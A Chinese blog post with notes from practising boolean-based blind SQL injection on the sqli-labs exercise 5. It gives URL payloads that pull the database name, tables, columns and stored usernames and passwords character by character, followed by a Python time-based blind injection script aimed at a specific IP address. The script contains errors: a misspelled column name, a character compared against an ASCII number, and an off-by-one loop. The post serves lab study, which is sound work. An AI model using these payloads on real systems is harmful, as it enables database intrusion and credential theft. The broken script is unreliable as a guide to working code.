布尔盲注

在sql-lab练习sql注入时,第一次接触到布尔盲注,起先以为他是一个万能的注入的注入方式,不过弊端是耗时费力,需要一个一个字母的去判断。

首先记录一下布尔盲注的步骤。(已sql-lab练习5为例)

布尔盲注的特点是,正确会有回显,错误没有回显。做题时,需要判断回显正确的条件是什么。

第一步,暴库,获得库名。

?id=1' and left((select database()),1)='s'/意思是在库名依次匹配,看是否有s

最终确定库名为security

第二步,爆表,获取表名。

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'

/意思是从数据库中搜索表名并从第一张表开始向左依次移动一位去匹配一个字节,看是否存在p

最后爆破得到第一张表名为referer,在第三张表名得到是users

第三步,爆列名

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password'

/意思是从表名为users的表中搜索列名中含有password的列(4表示第四个字段,8表示匹配8个字节)

最后得到password和username

第四步,爆字段

?id=1' and left((select password from users order by id limit 0,1),1)='d'

/在password列中依次爆取密码

?id=1' and left((select username from users order by id limit 0,1),1)='d'

/在username列中依次爆取用户名

假装分割线

这样一次次尝试有时候经常费力不讨好,最近看到一个盲注脚本,做个记录。

import requests
dic='0123456789abcdefghijklmnopqrstuvwxyz,'
url='http://47.94.140.22:8002/index.php?id=1\' and '
string=''
for i in range(100):
    for j in dic:
        id="if((substr((select group_concat(table_name) from information_schema.tables where tablename_schema='puppy'and table_name='nf' limit 0,1),{0},1)={1}),sleep(5),0)--+".format(str(i),ascii(j))
        #print(id)
        url_get=(url+id)
        #print(url_get)
        r=requests.get(url_get)
        sec=r.elapsed.seconds
        if sec > 2:
            string+=j
            print(string)
            break
print(string)

posted @ 2020-03-31 20:47  snow-s  阅读(814)  评论(0)    收藏  举报